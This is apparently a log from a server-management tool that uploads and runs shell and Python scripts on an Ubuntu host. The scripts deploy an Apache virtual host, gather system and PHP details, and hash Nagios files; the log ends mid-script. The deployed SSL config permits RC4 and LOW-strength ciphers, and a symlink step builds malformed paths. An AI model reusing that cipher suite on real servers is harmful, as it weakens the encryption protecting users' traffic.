    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-03-31 11:31:28: 

PUT: /tmp/pkp656667

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_hub_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_hub_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_hub_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf= 1'
fi


2026-03-31 11:31:28: 

chmod 755 /tmp/pkp656667; /tmp/pkp656667; rm /tmp/pkp656667

2026-03-31 11:31:28: 




2026-03-31 11:31:28: 

PUT: /tmp/pkp198162

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-31 11:31:28: 

chmod 755 /tmp/pkp198162; /tmp/pkp198162; rm /tmp/pkp198162

2026-03-31 11:31:28: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-31 11:31:28: Performing Server Status
2026-03-31 11:31:28: 

PUT: /tmp/pkp726230

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:31:28: 

chmod 755 /tmp/pkp726230; /tmp/pkp726230; rm /tmp/pkp726230

2026-03-31 11:31:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-106-generic



2026-03-31 11:31:28: 

PUT: /tmp/pkp128391

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-31 11:31:28: 

chmod 755 /tmp/pkp128391; /tmp/pkp128391; rm /tmp/pkp128391

2026-03-31 11:31:28: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 446159
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      446159  0.0  0.9 261228 39484 ?        Ss   Mar24   1:17 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-31 11:31:28: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2026-03-31 11:31:28: 

PUT: /tmp/pkp859085

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-31 11:31:28: 

chmod 755 /tmp/pkp859085; /tmp/pkp859085; rm /tmp/pkp859085

2026-03-31 11:31:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-31 11:31:28: 

PUT: /tmp/pkp810517

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-31 11:31:28: 

chmod 755 /tmp/pkp810517; /tmp/pkp810517; rm /tmp/pkp810517

2026-03-31 11:31:29: 


[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-03-31 11:31:29: 

PUT: /tmp/pkp317774

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-31 11:31:29: 

chmod 755 /tmp/pkp317774; /tmp/pkp317774; rm /tmp/pkp317774

2026-03-31 11:31:29: 
(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 995fee4c636b92ff7c52c503adce3e2f
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= f0d82d7673bc8aac8a03809b832861e0
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2026-03-31 11:31:29: 

PUT: /tmp/pkp419382

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-31 11:31:29: 

chmod 755 /tmp/pkp419382; /tmp/pkp419382; rm /tmp/pkp419382

2026-03-31 11:31:29: 


status=ok


2026-03-31 11:31:29: 

PUT: /tmp/pkp926939

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
